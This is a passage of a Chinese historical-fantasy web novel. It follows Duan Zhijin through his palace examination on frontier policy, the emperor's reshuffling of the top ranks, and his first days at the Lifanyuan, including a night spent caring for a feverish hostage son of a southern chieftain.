还要允许赤砂愿意归顺雍朝的平民百姓进我关内,与汉族同居同食,分与他们土地,叫他们不再过朝不保夕的日子,使其民心不齐不能成事。待到时机成熟就立刻发兵剿灭。 对于穹迦族则要施展怀柔分化之策,一是遣使问顺,若其大喊愿意归顺,则赐以王印,“许其世袭罔替,然须送质子入京习礼。并置有司于神山,设流官掌茶马五市、驿站通衢,穹迦头人理刑狱祭祀,各司其职。”倘若不归顺,仍要尽量安抚,赐予金钱宝物,宣示我天朝上国之仁爱。 二要大肆宣扬佛教,若有改信者朝廷赐予土地金银,若有头人或大汗之亲属情愿改信者,可封其为“大法师”,诱诸部改宗相攻。“俟其内部相攻,而我朝坐收渔翁之利……” 写到此时,太阳已经转到了身后,周围同年业已走净,唯一的光亮也就剩下那点残阳,段之缙袖子拂去额上的汗,睁大眼睛奋笔疾书。 殿内,誉王已经等得不耐烦了,吩咐殿内的太监孙鹤林:“你去催催他。” 孙鹤林方要去,又被端王唤住,“殿试本来就是一日的时限,催人家只会叫士子心焦。”他笑着看誉王,“二哥,急什么啊?您要是耐不住就先回去呗,父皇那儿弟弟去说。” 肃王和誉王闹做一团,四哥又常帮他,自然站在纪禅这边,朝着誉王挤眼睛,当着大家伙的面讥诮道:“可是王府里娇妻美妾等不及?” 誉王瞪了他一眼不爱跟他吵嘴,端王看看外边的日头吩咐孙鹤林给段之缙掌灯。 “去给他挑得亮一些,别看坏了眼睛。” 段之缙视物已经不甚清楚,索性最后的南诏已经在心中打好草稿,定然能在太阳落山之前全部书完,而就在此时,一盏灯在旁边亮起,最后放置在自己案上。 孙鹤林笑着道:“这是端王爷叫来送的灯,吩咐你慢慢写,慢工出细活呢。” 段之缙感念非常,谢过王爷和孙鹤林后接着写最后一段。 针对南诏百族聚居之地,要行刚柔并济之策。南诏百族本身就非为铁桶,对于真心归顺朝廷的要大大褒奖,对于反复无常甚至杀害朝廷官员的土司则要杀鸡儆猴。但最终都要改土归流,不能叫土司之职继续存在。同时还要从文教方面入手,“编《百族正音》,将土语音调标注汉字,命蒙童先习官话再学土语,使南诏之地无复土语相闻,但有弦诵之声。” 最后落笔,“臣管窥之见,伏乞圣裁。” 终于,殿试结束了。 段之缙先向殿内一拜,带着卷纸走到左庑阶下,受卷、弥封等官俱在檐下等候。 打个哈欠,受卷官将那一摞纸接过,登记后交弥封官,段之缙则由鸿胪寺官员领出皇宫,此后只等着金榜题名日的到来。 第66章 066双喜临门 殿试之后便是阅卷,四位中堂大人和各衙门的阅卷官都住在文华殿左右两廊和传心殿前后房间内,三日阅卷结束后才许回家。且每位阅卷官每一篇策问都要看。这十几人中以毓秀中堂为首。 阅卷还未至一半,方克城松快松快肩膀,“今年的题着实不好写,诸生的对策大同小异,二三百字的策也忒多了些,颂圣的策也多。” 毓秀哆嗦着手把鼻梁上的眼镜往上抬抬,“是吗?我倒是看了几篇不错的,对赤砂人了解很深呢,对付南诏的改土归流之法我看很不错。” 旁边的刘玳廷抬起佝偻的身子,“哦,老中堂也看到那篇了?的确是条对详明,篇幅充畅,我看今年能点做魁首。” “当真有这样的学生?若是你们阅到了,可得叫我看看。”方克城话音方落,大理寺正卿颜正便招呼他过来,“大方中堂,在我这儿呢。” 两个人凑头共阅,都觉得这篇可定为魁首,便接着上边的“圈”勾圈。 三日后阅卷完毕,那改土归流之策是少有的全圈之文,几个大人商量着以其做魁首卷,在黄签上书“拟第一”。 素来的成法,呈进殿试卷于传胪前一日,因为是“天子门生”,因而这前十名要由皇帝钦定,又因为皇帝要召见这前十名,因而这一日又称为“小传胪”。 小传胪当日,段之缙等贡士于午门外等候。 今天天气极好,天色湛蓝,万里无云,太阳光刺得人睁不开眼睛。 朱红色的大门嵌着拳头大的今钉,赤红色宫墙高高耸立,段之缙的心跳不由得乱了一拍。 等了没有多长时间,毓秀大人从午门走出,招呼这十名贡士上前,“陛下的恩典,今日太阳刺人,你们随我进乾清宫等候吧。” 长长的宫道上,每隔几步都有侍卫持刀守卫,洒扫太监见他们走来,远远避开。 毓秀跟乾清宫门口的太监说了几句,太监就进去通传,不一会儿吴祥打开宫门,先笑着跟毓中堂打招呼,才领着众人进去。 室内一股沉重的药味和香料的气味混合,却也掩盖不住浓厚的腐朽气息,那是人身子颓垮时会散发的味道,即便表面仍是好好的,五脏六腑却开始腐烂了。 段之缙先闻得一声咳嗽,然后是纸张摩擦的声音,皇帝的声音响起,“第一名……段之缙?” 吴祥便领着段之缙上前。 段之缙先行大礼:“臣段之缙叩请皇上圣安。” 那个沉闷的带着病气的声音再次响起,“你的策问答得很好,但是做起来未必有那么容易。你答卷中说改土归流,然南诏土司世守其地,骤然废黜必生叛乱。若彼等联合百族据险而抗,何以处之?” 明明是苍老衰弱的声音,可其上附加的无上权柄叫段之缙紧张得喉结滚动,不敢耽误,边想边说:“是臣所虑不周。臣以为南诏百族土司未必都不愿归顺朝廷。可先以‘世袭巡检使’虚衔厚赏恭顺土司,使其子弟入国子监习圣学,待其汉化渐深自解权柄;凡抗命戕官者,或违法乱纪者使其自行检举,不独诛其首恶,更要将其土地田产及其部众划归邻司,使诸酋互疑而不敢合纵;凡改流之地即设义学、开科举,二十年后土酋纵有反心,其民已沐王化矣。” 在段之缙看不见的地方,崇德帝微微点头,又问道:“穹迦部素奉妖邪,何以笃定彼辈必改宗佛法?若其假意受戒而暗蓄甲兵,岂非养虎贻患?” 这些日子段之缙也没有躺着,而是将穹迦、南诏的事务详学一遍,现在对两地的理解已经非几日前可比了。 他谨慎答道:“陛下思虑周详。臣以为,对付穹迦妖部之策,首当正名。彼部不尊教化,祭祀屡用人牲为血食,可诏告其民‘陛下为代天牧民,唯天子可断生死贵贱。尔等酋首笃信之神为妖邪,行窃命之实’。又可以中原大法师入西南高地,凡穹迦贱民跪受摩顶者,即赐汉姓、录黄册,分给金银。其民多为奴隶,届时其主必要抢夺,此时朝廷可暗资钱粮,助无辜之百姓成事。” “若二十年后,赤砂余部复起,穹迦佛寺势大难制,南诏汉官贪酷激变,届时卿策尽成弊政,该当如何?” 这一问直接跳到了二十年后,段之缙静思片刻,垂首回道:“臣读《周易》,里边说‘与时偕行,趋时变通’,治夷如治水,堵疏轮替本是常理。若二十年后赤砂余部复起,证分化未透,当启互市使其依赖中原。若佛寺坐大,则遣御史清查寺院田产,歼灭佛寺仍任流官。而南诏汉官贪酷激变,则应按律惩处,此非为改土归流之弊。” 上首的皇帝十分满意,答这些事情接井井有条,可见是真研究过的,非为套语,赞道:“难得的人物,这次阅卷官的卷子阅得不错,可见是下了苦功夫。” 说完他又叫其他人上前,挨个问话,段之缙此时美滋滋地走神,料想这次的状元非他莫属了,可意外发生得始料未及。 拟定第二名为彭世鑫,答得中规中矩。 拟定的探花为邵俊铭,策写得也极好,稍逊于段之缙,可崇德皇帝却不仅看了邵俊铭的策,还有他的籍贯——西海省。 皇帝于御座之上发问:“你是西海哪里人?” 邵俊铭未语泪先流,未免在御前失态,先揩去泪水才开了口:“臣是西海万山府银泉人士。” “银泉!?”皇帝惊得直起身子,银泉不就是去岁被赤砂人攻破的城池吗? “你……城破时你可在?离家时银泉是何局面?” 皇帝轻声问,邵俊铭挺直的脊梁却颓了下去,段之缙看见他的指节扣在砖缝间,血珠顺着龟裂的纹路渗进金砖,“赤砂人晚上快要破城的时候,王将军也顾不得旁的,开了西门叫城内的百姓跑。我们跑到四十里外的老君庙,然后入了续阳府。” 邵俊铭一句一句说着,脊背越来越弯,一直到额头触着金砖,“臣不能跟银泉城共存亡,万死。”他喉头滚了滚,“臣三个月后回去收殓,城内已经是一片焦炭,王将军的甲胄嵌在城门缝里,要拿铁凿子才能撬开。他的牙咬着一截断刀,我们掰了整日……” 玉阶两侧的蟠龙烛台开始淌蜡,红泪蜿蜒如血。 段之缙的眼泪滴在地砖上,周围的人都以袖拭泪,皇帝更是老泪纵横,哽咽道:“自太宗皇帝后,止步关何曾让胡马踏破?是朕……” 皇帝的声音太轻,邵俊铭似乎没有听清,仍在悲诉:“王师接管银泉城之日,臣与众百姓才埋完最后一具尸首,后来臣便上京了。” 皇帝年事已高,几年前身子便不太好,现在情绪过于伤痛,便有些气喘,头昏脑涨,眼见着要晕过去,被吴祥扶着趴在案上,抚着后背,孙鹤林急匆匆呈上一只玉瓶,段之缙余光一扫,泪水顿时止住了。 玉瓶一斜,倒出来一颗赤金色的,流光溢彩的小丸。被皇帝撑着身子送入口中。 啊…… 看来端王已经达到了他的目的。 见皇帝身子不对,邵俊铭连连叩首请罪:“是臣的不是,叫皇上伤心以致龙体受损……” 崇德帝摆摆手,叫他不要再说,然后问旁边的礼部尚书闻清远:“西海可曾出过状元?” 闻清远回想一番,答道:“回陛下,历年状元多从淮宁等省份出,西海文风不盛,本朝尚未出过。” “为剿灭贼寇,西海出力甚多,筹集饷银达五百万两,赐给他们一个状元也是理所应当,便将段之缙的名次和邵俊铭调换一下吧。” 闻清远一怔,赶紧领旨,邵俊铭大吃一惊,极力推拒:“臣为第三已经侥幸,如何能名列第一?况且科举抡才大典,叫臣以籍贯为第一,坏了成法。” 皇帝看看段之缙,段之缙立刻上前领旨谢恩,皇帝宽慰道:“名次这样的东西,都是暂时的,你若有真本事,前途远大不可估量啊。” “臣谨记陛下教诲。” 邵俊铭的反对也无效,无奈地上前领旨谢恩。 皇帝接着问剩下的人,郑崑瑛答得甚好,皇帝也赞许了几句。 问完,这些人被吴祥领着带出去,方才的邵俊铭紧两步赶上,眼里含着歉意,“我……” 话还未说,段之缙就拉住了他的手:“邵兄,你不必歉疚,这第一本就是阁臣所拟,皇上钦定,现在皇帝定兄为状元,自然是我尚未叫陛下满意。况且兄的文章就比弟差吗?” 邵俊铭眨出眼泪:“叫我凭借银泉城尸山血海成状元,情何以堪?” 众人都围上来安慰,好容易才叫他平复下心情,这才慢慢散去。谁也没见到他竟胆大包天地原路返回,去跟皇帝请了恩旨。 走出宫门,郑崑瑛凑上来看段之缙,段之缙和他一对视,双双笑了出来。 郑崑瑛说:“挺好,我就怕你太失落。” 段之缙潇洒道:“得之我幸,失之我命,是我命里没这个状元的位置,又能如何?”他说着,叹一口气,“我只可怜西海那样的地方也能刮出来五百万的饷银,叫老百姓们吃草根吗?” …… 次日清晨,太和殿举行传胪仪式,赐鼎甲进士及第,第二甲进士出身,第三甲赐同进士出身,又唱名,行三跪九叩之礼,赞礼官便引鼎甲三人趋到殿陛下迎榜,礼部尚书闻清远将大红纻缎绑住的泥金报分给三人,当场拆开,长二尺许,被段之缙拿在手里,重若千金。 展开,里边是朱笔红名,“探花及第段之缙”。 放完榜,闻清远颁布上谕:“奉天承运皇帝,制曰:……第一甲第一名邵俊铭,授西海省万山府银泉城知县,秩正七品;第二名彭世鑫,授翰林院编修,秩正七品;第三名段之缙,于理藩院处行走学习。尔等其恪勤夙夜,翊赞丝纶,毋负朕选贤举能之之至意。” 段之缙猛地抬起头,三枝九叶冠的铜枝也跟着颤,他震惊地看着前边邵俊铭挺拔的身子跪下去,一声感激无尽的“谢主隆恩”传到自己的耳边。身后的二甲传胪推了他一把,他才及时谢恩。 这一次授官,太过出乎意料了。朝廷的定制,状元授从六品修撰,榜眼和探花授正七品编修才是。 传胪张榜之后,就是顺天府传胪宴,何穗命人备伞盖仪从,在东长安门外外结彩棚,设长案。 段之缙的皂靴刚踏上猩红氍毹,府丞便上来披红簪花,先给状元与榜眼,然后轮到他。 錾花银盘托着金箔木樨,用细如胎发的金丝编成,花蕊处缀着米粒大的南海珍珠,被府丞插在官帽上,又将红绸披上肩头。 然后递法酒,府丞敬完前两人,举着杯子来到段之缙身前,喜气洋洋道:“请探花郎饮醴。”段之缙接过酒杯,一饮而下。 “三位大人,快快上马去顺天府署宴饮吧?” 段之缙看着那高头大马心里发寒,但这马可不能不上,僵硬着身子爬上去。 鼓乐执事彩旗前导,这一科进士浩浩荡荡,向顺天府出发。 新科进士先给何穗敬酒,然后相互敬酒,段之缙举着酒杯站在邵俊铭前,可惜道:“邵兄,你这是何苦啊?” 邵俊铭却十分自在,“段兄弟,你以为我苦,我却乐在其中啊!银泉和王将军都等着我回去,这一次无论如何我都死守着银泉。”若再有赤砂人来犯,自己就同前辈们一样,以身殉城也绝不脱逃。 段之缙心生敬佩,连饮三杯默默离开。 …… 酒是佳酿,肴为佳肴,宴毕,何穗亲自送三鼎甲上马,看着进士们一个个散去,蓦然叹了口气。 当初的惊马案是自己处置的,差点被踩死的就是这个段之缙,如今人家当了探花,可就成了明面上的人,自己怎么就鬼迷心窍给葛礼销了罪证?幸好葛礼死透了,这个事情应当不会有人知道。 回到家中,奴才们欢天喜地地把段之缙迎进大堂,却见宋征舆也在,一瞧见他便道喜,眼神却游移,像是干了什么亏心事。旁边还有一红衣妇人,一见他便乐开了花,跟着王虞笑道:“这不是双喜临门怎的?儿子披红簪花,女儿也有了人家!” 段之缙这才知道,邹文提前他一步跟宋征舆说了情况,宋征舆也是行动派,和他母亲找了冰人说亲来了! 他拽着宋征舆到一旁,“不过你自己也来了,是不是不合规矩呀?” 宋征舆一红脸,“我是有正经事要和段兄说的。王爷说,虽然这次只是叫你在理藩院行走学习,而没有正式官职,但只要明年理藩院尚书的考核过了,就授你理藩院员外郎的职位。” 第67章 067理藩院 段之缙和宋征舆说了一会儿话,厚重的进士袍和红绸搭 在身上,正堂内乌泱泱的人,外头的太阳热烈地冲进来,没一会儿就照了一脑门子汗,等听到王虞定下了问名的日子,段之缙松下一口气,和这将来的妹夫打个招呼离开,回后院去换衣服。 正堂屏风后有一个廊子,专给自家人走的,能直通后院,路便近些,段之缙急匆匆往屏风后转,三个人躲在后边,正贴着屏风偷听呢。 不是两位姨娘和妹妹是谁? 两个姨娘关心后辈的婚事,偷听一番是情理之中,段云霓两手紧搂着猫儿,也聚精会神地听呢。连科有意思得很,竟也能看出来皱眉,两个射光的眼睛中间的那片白毛蹙成一块儿,仿佛是听懂了人话。 段之缙看她们四个,对着段云霓促狭地怪笑一声,妹子愈发没大没小,提脚就往他身上比划,许是那天打了未婚夫一巴掌愈发爱动手,被段之缙躲过去,又双手推着自己哥哥走,不叫他在这儿笑话人。 回了自己的致知斋,沈白蘋领着奴才围上来,又隔着半丈远停住,轻咳一声,拖着唱腔道:“探花郎辛苦了,探花郎快请进。” 段之缙五音不全,也敢矫揉造作地回:“探花郎娘子辛苦了,还是娘子先进屋。” 两个人面面相觑,然后噗嗤一笑,牵手进去了。 进了屋,外头伺候的下人退出去,沈白蘋稀奇地摩挲他身上的红袍,明明是一般的绸子,倒像是能搓出来花一样,那披红也取下来,不知出于什么心理,往自己身上围了一圈,这才挂在椅子背上。 最后是那两支金箔木樨花,被小心翼翼地从冠上取下,捧在手心里。 镀金的铜丝抽作胎发细丝,以“八字穿梭法”编成木樨花瓣,每瓣叠压着金网,花心攒五颗南洋珠胎珠,泛着银蓝晕彩。 “真好看……”沈白蘋的话里不无艳羡,披红簪花,游街夸官…… 段之缙把自己的进士袍脱下来,凑在鼻尖闻闻,酒气重些,还有乱七八糟的熏香气,汗味倒不是很重,又从衣橱里找出一双干净的皂靴,回头跟沈白蘋笑道:“你要不要穿着玩一玩?” 沈白蘋张大嘴,食指指向自己,眼睛里带着疑惑。 “别的不图,就图过个干瘾,你过不过?” “过!” 沈白蘋也跟着段之缙玩闹起来,外边的衣裙随脱随扔,剩下里边月白中衣,然后把搭在椅子上的进士袍往身上披。 赤色衣裳裹住身子,更把脸衬得粉白,兴奋得眼里似要射出光来,段之缙瞧她着急,那扣子反而系不上了,上去帮忙,又把腰带给她扣上。 衣服穿在段之缙的身上都宽松,穿在沈白蘋身上更显得大,像个红帐篷要把她包进去,沈白蘋用几条丝带紧一紧,显得合身了些,下摆却没得治,拖在地上。 这倒无妨,段之缙扶着她在梳妆台前坐下,将沈白蘋的头面都拆下,泼墨一样的头发流下来,像展开的黑绸子。 “这要干嘛?” 段之缙挽起来她的头发,嘻嘻笑道:“给你把乌纱帽也带上。”手上的动作十分灵巧,没一会儿就盘出来一个男人髻,乌纱帽往头上扣,虽说帽子头围大了些,但沈白蘋的头发多,倒也不会乱晃。 两只金花插于乌纱帽两侧,随着沈白蘋的晃动,里边米粒大小的珠子颤颤巍巍,像是被看不见的蝴蝶压在上边。 “状元邵俊铭的那两只更好看,点翠的花,银枝叶,咱们这两支是铜丝外边贴上的金箔。” 沈白蘋在镜子里照来照去,又在镜子里盯着他的眼,“我心里头,就这两支最好看。” 段之缙嘴上不说什么,心里却美滋滋的,一甩袖子一虾腰,对着沈白蘋打个千。 “沈大人,升座吧。” 这里的忌讳,下轿不叫下轿,因为“下”字不吉利,叫升轿,离开座位也不能说离开座位,叫做“升座”。 沈白蘋摸两把不存在的美须髯,用桌子上的眉石把两道柳叶眉描成剑眉,又往嘴巴两边画了八字胡,咳嗽一声,声音厚重地沉下去,扶着段之缙的手吩咐道:“那就升座吧。” 然后迈着四方步,在屋子里走来走去,然后实在撑不住,两个人扑倒在床上,笑得肚子疼,然后腻在一处,说些没意思的悄悄话。 第二天是久违的清闲日子,段之缙四处闲溜达,一会儿去给连科剪指甲,被挠破了衣裳,一会儿去和妹妹说话,被冷笑着打出去,然后和蘋儿一块儿缩在姨娘的屋子里,两个人一起给姨娘描花样,给远在淮宁的小侄子做肚兜用。 没错,去岁的时候,四弟的媳妇就娩下来一个男婴,六斤重,体重标准的好小孩,每叫他母亲吃太多苦。 本该是喜事,但自从弟妹生下来一个小子的消息送到京里来,王虞看段之缙就跟仇人一样,谁叫他把她的大孙子“扼杀”在了娘胎里,问起,段之缙顾左右而言他,只说是快了。 在家歇了三天,大红圆领乌纱帽,段之缙又去参加礼部的恩荣宴,山珍海味、美酒佳肴,好一顿畅饮。 宴饮之后,邵俊铭领三百进士上表谢恩,诸生又在十五日入国子监孔庙行释菜礼,工部在国子监内立石题名,没过几日礼部朝考,从二甲、三甲中选出十几人为庶吉士入翰林院庶常馆,终于在六月份之前弄完了一切,段之缙正式入理藩院当差。 说是当差,其实也没有差事给他做,他一个行走学习的“实习生”,并无品级,可当差也不能没官服穿,暂且穿上了七品的官服。 朝廷的衙门都在千步廊内,理藩院排于六部之下,位置极偏,段之缙头一天上班,险些没找到部门。 进了堂屋,理藩院的尚书罗国珠还抽空见了他一面,上下打量一番,也没给他安排活计,抓了一个笔帖式带这个新人,叫他先知道知道理藩院衙门都有多少。 笔帖式名为何婥,带着段之缙往各个堂屋里窜,一个接着一个介绍。 “最东边是司务厅,管文书上折子的地方,我就在里边。第二个是南诏清吏司,专管南诏事务,还管着一个传文馆,土司留在京城的儿子就住在那里,现在陛下下令教授他们汉化和汉文。第三个是理刑司,凡是汉夷纠纷,地方不能处理的都由理藩院理刑司解决,不用过刑部。第四个是怀远司,专管西南穹迦。最后一个就是抚远司,处理和赤砂有关的事务。” 理藩院内,东南西北大小异族分门别类,都有管辖的部门,井井有序。 何婥自己的事情也忙,把段之缙带进了司务厅,“今天我走运,罗部堂把你交给了我,你今日就跟着我做事吧。” 他说着,亲自抱了一摞文书来,从中分出一部分递给段之缙,“每个部的新人,都要从司务厅开始做,这些文书看多了,你也就知道部里是做什么的了,比跟着乱七八糟的人四处找活干要快捷得多。朝廷都忙着赤砂和谈的事情,赤砂人这个月底上京,这些夷语直译都要转化大改。” 展开两本文书,一为乱七八糟的汉话,一是稀奇古怪的文字,段之缙看不懂。何婥指着两处,“这个是赤砂语里的‘噱呵拾’,译出来就是狼神,但是我们上奏的文书里边不能说狼神,改成山君。又如他们的大光明可汗,你改成夷王,以此类推,懂否?” 就是将他们的尊称改成蔑称,笔尖一勾就是骂呗,这个活倒不难,段之缙应下,何婥又说:“你是今年的探花,上奏的文书怎么写不用我说,这些东西都要抄送给陛下过目。然后你再把里边的重点总结到一张纸上,罗部堂就在抚远司,给他送去。” 说着,何婥也抓紧时间干了起来。 朝廷懂赤砂文的人不少,但和谈一事事涉机密,理藩院的文书不能拿出去给别的衙门的人看,只能部内自己处理。理藩院十几个懂赤砂文的人,又不都是干文书的,好些西北军队刺探的情报和赤砂送来的文书只能靠司务厅的小猫两三只来处理,光译出来就废了老大事。 至于写折子,写折子就更烦了。理藩院选笔帖式更侧重于是否会夷语,四书五经倒是其次,平日里事儿不忙倒还好,事情一堆积就抓了瞎。 幸好来了个探花郎,把写折子的事情推给他。 段之缙重整词句,一边默默了解文书中赤砂的情况。 今年夏季,西北的草还肥得很,赤砂也没有走到绝路,去年突然叩关完全是因为气候反常,一场寒潮将牛马冻死无数,这才叫赤砂人丧心病狂打开了银泉城。 现在赤砂和朝 廷的军队僵持不下,朝廷的国库没有存银,西海及其临近省份也刮不出更多的军饷,朝廷打不动了。赤砂虽然随打随走,一时半会儿消灭不了,但人少地贫,根本经不起雍朝折腾。两股势力只能和谈。 但赤砂想要的太多。 光粮食就要六十万石。 六十万,雍朝一个中等的省份,一年交上来的田赋折成粮食也才六十万左右,若要运输,大大小小的花费也得该省一年的田赋了。 他们倒是张口敢要,准备通过这一次和谈,把以后十年的粮食都要到?头一回儿见这么要饭的。 不过倒也不奇怪,和谈的时候,两边都是狮子大开口,雍朝也跟人家要草地重划疆界。 何婥说的真是不错,整理了一天的文书,段之缙对赤砂的了解更深,赤砂现在势疲,不仅是因为人少地贫,赤砂汗图尔赫已经是一只老狼了,年轻的儿子们对于头狼的位置虎视眈眈,他放心不下,也没有精力再和朝廷牵扯,这才偃旗息鼓。 倒也印证了段之缙的想法,若这能叫赤砂三个王子争斗起来,其人心必乱,雍朝即便不能出兵讨伐,也能够喘一口气,叫西海重新建设起来。 写了一天的文书,公餐也没来得及吃,给罗部堂送去了条呈早就该散衙了,段之缙在屋内等到何婥叫他走,这才收拾东西欢天喜地地准备离开,谁知方要出门,又被侍郎陶士倧拦下来。 “你是行走学习的探花?” “回陶部堂,正是下官。” “那正好。到了点,南诏清吏司的王八官跑得比兔子还快,传文馆有个土司的儿子病了,今日没去上课,你去他屋里看看,只要不是病得要死,就明天跟我说。若是看着挺不过今天,你赶紧回来说。” 要下班的心情一下子颓丧,段之缙有气无力地应了一声,又拖着脚步往传文馆走。 此时天已经大黑了。 第68章 068南诏土司 传文馆并不在千步廊内,而是在禁城之外,背靠内城西墙。 这座异族聚集的地方不设高墙,代以透空的万字纹花砖墙,白天读书的时候,朗朗书声透过花纹传到街上。 可惜现在天黑了,静悄悄的没有人声。 大门半掩着,黑漆有些斑驳,漏出来里边原木的棕色,门口连个守卫也没有,刚要推门进去,身后一声有气无力的喝问:“干什么的?” 然后是冲天酒气从背后袭来,黏糊糊浸满了汗的手抓在段之缙肩膀上。 段之缙转身蹙眉去看,把方才因为炎热抱在怀里的乌纱帽戴在头上,青色官服上青金鸂鶒补子一下闯入喝问守卫的眼睛。 那守卫一瞬间张嘴结舌,然后唱戏一般扇自己的嘴巴:“小的该死,不知是上头的大人来了,拦了大人的驾,大人请进。” 然后麻利地上前推门,先段之缙一步跑到小屋里,里边霹雳咣啷一阵响,窜出来一个九品练雀补子的官员,死气沉沉的样子,还跟段之缙赔上笑脸。 “下官任一鸣,大人有何贵干?尽管吩咐下官。” 传文馆管事的官员,就是一个九品的小官,这传文馆在理藩院的地位,也就可想而知了。 但也太奇怪了,朝廷鄙弃异族可以理解,但维护好关系,叫土司们也安分些不好吗? 段之缙打量着他歪七扭八的官服,里边泛着黄的中衣都漏在外边,皂靴拱在脚下,连个袜子都没穿。 “理藩院陶士倧部堂叫我来问问今日生病的那个土司之子,他现在身子如何?” 任一鸣一时答不上来,只嗫嚅道:“今日早上,有人说他发热,然后下官给他请了大夫,报给了理藩院的大人,现在……现在应当好了吧……” 段之缙冷笑一声:“你们当得好差,哪天人在屋子里臭了也不知道。带我去看看,再叫一个大夫来。” 任一鸣赶紧跟守卫使眼色,自己则在前边带路。 段之缙边走边问,摸清楚了传文馆的情况。 传文馆不大,原名叫做南诏馆,是给南诏土司们的“恩惠”,叫他们出一个儿子在京里“享福”。实际上嘛,朝廷的打算南诏百族知道,理藩院更清楚得很,若是哪一个土司作乱,先把他留在京里的儿子送到南诏去祭旗。 上回杀死朝廷官员的土司,他的儿子都没送回南诏,直接就在京里杀了。 等到抓到了祸首,凌迟之前先把那颗半腐的头颅给做父亲的看,这才开始动刑。 几个月前,南诏馆突然改成了传文馆,朝廷选派了举人授书,是想叫这些人回去做亲善朝廷的土司。但在他们被送到京城的那一刻,父母已经做好了取舍,继承人都留在寨子中。 一次土司造反,一次无声的反抗,传文馆的地位一落千丈。 段之缙又问馆内还有多少人,任一鸣想了想,将大体情况告诉段之缙。 南诏百族,说是百族,实际上没有那么多,大概是三十来个夷族,大小土司倒是有几百了,在传文馆内住着大、中土司的儿子,总共是六十七位。 传文馆并不十分大,只有七八个院子,院落也不大,八九个人挤在一个院落里,经过的第三个就是今天病患的居所。 任一鸣推开院子门,领着段之缙向一个屋子走,“大人,就是这间屋子。”然后不打招呼,砰的一声大力推开门,屋子里的人像笼子里受惊的麻雀,惊得乱飞,两个青年跑出来,眼眶子都是红的。 一个青年操着不流利的汉话恳求:“任大人,石布现在很烫,请您再为他请一名大夫吧!” 任一鸣朝着段之缙讪讪一笑,假嗔跪着的两个青年:“哎呀,他病得那么厉害,你们为何不早来找本官。” “我和克西下午去了三次,您都不在……” 旁边的克西拦住说话的金腾,跟任大人告罪:“大人,我们年纪小,急昏了头,忘了去找您。” 段之缙见这么一出,皮笑肉不笑地瞧任一鸣一眼,走到床边去看病患。 那个小孩儿烧得太厉害了,还裹在棉被里,像是一个刚蒸熟的包子,呼呼冒着热气,额上腮上一片血红,嘴唇倒是煞白干裂,瞧着才十五六岁的年纪。 段之缙摸一下他的脑袋,额上滚烫的温度吓得他一哆嗦,必然是高烧了。一把掀开厚厚的被子,他连忙叫跪着的克西和金腾过来问话,“这样烧了多长时间了?” “好像,好像有一个来时辰了吧?” 希望不会烧傻了,段之缙从荷包里摸出一点碎银子,递给任一鸣,“任大人,求你点儿事情,能否去酒肆给我打点烧酒来?这会儿可千万别找不到人了。” 任一鸣接下来,橘子脸绽开一朵花,“大人这是哪里的话,下官这就去办。”然后快步跑了。 段之缙指挥着两个青年把石布的衣服全脱了,赤条条摆在床上,先用凉的井水给他擦洗降温,外头急匆匆走进来一个大夫,为石布诊脉,任一鸣也捧着酒坛回来,然后用烈酒降温。 段之缙还要回陶士倧的话,急着问:“大夫,他烧成这个样子,是否有性命之忧?” 大夫收起脉枕,“回大人,性命之忧倒是没有,只是烧了这么长时间,恐怕这个脑子……” 段之缙明白他的意思,狠狠瞪了一眼任一鸣,心知他靠不住,只吩咐那两个青年多照看着石布。 这里的夷族人说句相依为命也不为过,都答应下来。 段之缙等了一会儿,外边打更的声音传进 来,原来已经到了宵禁的时间,段之缙出不去只能在传文馆中住一晚,明日直接去衙门当差。 任一鸣小心讨好,原想叫段之缙睡在他自己的堂屋,段之缙却要守着石布,顺便问问传文馆的事情。 任一鸣悻悻退出去,你说他怕吗? 大概是不怕的,因为上头的大人懒得管传文馆的事情。 段之缙打个哈欠,看着金腾和克西不停地给石布擦洗,眼里啪嗒啪嗒掉着泪水,问道:“这院子里怎么就怎么就你们两个,其他人为何不来?” 克西回道:“大人,就我们三个是同族,也就我和金腾来照顾他。” “你们都是什么时候入的京?” “我和金腾是堂兄弟,四年前入的京,石布是我们的表弟,今年才来京把他阿哥换了回去。” 换阿哥?“你们留在这儿还有年限?” “我们满二十了就回家去。” “那也挺好的,你们应当很快就能回家了吧?几年不相见,想不想家?”他们两个瞧着都比床上的石布大,想来很快就能和家人团聚。 金腾止住的眼泪却流了出来,克西别过脸。 段之缙不知其缘由,连安慰都不知道从何而起,克西解释道:“大人,我们两家的寨子都没了,就剩下了我们两个人。”他们虽然生在南诏崇山峻岭之中,但也没受过委屈,又不是继承土司职位的阿哥阿姐,每日最要紧的事儿就是三顿吃什么,来了京城虽然害怕,但是管事官员待他们还好。 但三年前土司作乱,先是吞并了他们两家并其他家的寨子,又杀死了朝廷官员,当时南诏馆的地位一落千丈,待遇也一降再降。 十几岁远离故土,现在站在异族的土地上,备受冷眼,叫他们如何不心惊胆战。 这里躺着的石布,是他们一族里最大的土司的儿子,又是表弟,若是他死在了这里,他们两个怎么能进寨子?因而今日几乎被吓个半死。 段之缙听了惨剧赶紧噤声,又去试了试石布的额头,似乎不那么烫了,现在躺在床上呓语,乌鲁乌鲁的,听不明白。 段之缙问道:“他说什么呢?” 金腾回:“他唤他阿妈和阿姐呢。” 可怜…… “他是怎么烧起来的?” 金腾回道:“昨天该是我们族的水神日了,这一天我们都该去河里沐浴,供奉水神,但是传文馆每日上课,石布说天下的水皆一样,就用井水冲洗身子。” 但天下的水是不一样的,南诏的水再冰寒,永远爱着它生养的子民,京城的水却瞧不起异族,叫这小子发起了烧。 …… 一直熬到了天泛光,段之缙弄了点井水洗漱,顶着一张黑沉沉的脸去衙门点卯。 罗国珠、陶士倧和另一位侍郎查启瑞是不回家的,为了和谈的事情他们带着抚远司的官员住在了理藩院,有时大半夜都会被皇帝叫进宫问话,脑子里的那根弦时刻紧绷着。 今日段之缙来得不早不晚,头一件事就是找陶士倧,汇报石布的事情和任一鸣玩忽职守,传文馆毫无章法,会坏了朝廷的章程。 陶士倧只听了段之缙的半截话,掉着一张丧气脸,眼珠里的红血丝织成一张蜘蛛网,他有些烦躁地回道:“没死就成。你先去跟南诏清吏司的郎中说,和谈的事情虽然与他们无关,但走那么早不像话,叫他把今年土司的事情理一理,给司务厅存好。然后你就跟着何婥整理文书。” 段之缙没想到传文馆的地位如此低,土司的儿子几乎要病死,如何就来一句“没死就成”? 但他没问,按照长官的吩咐先跑去了南诏司,才回到了司务厅他的小座位上,何婥和其他的笔帖式早就开工干活了,段之缙的案上摆了许多文书,他分门别类整理出来,苦哈哈干了七八天才弄完,活计一下子清闲很多,也有功夫和人说话。 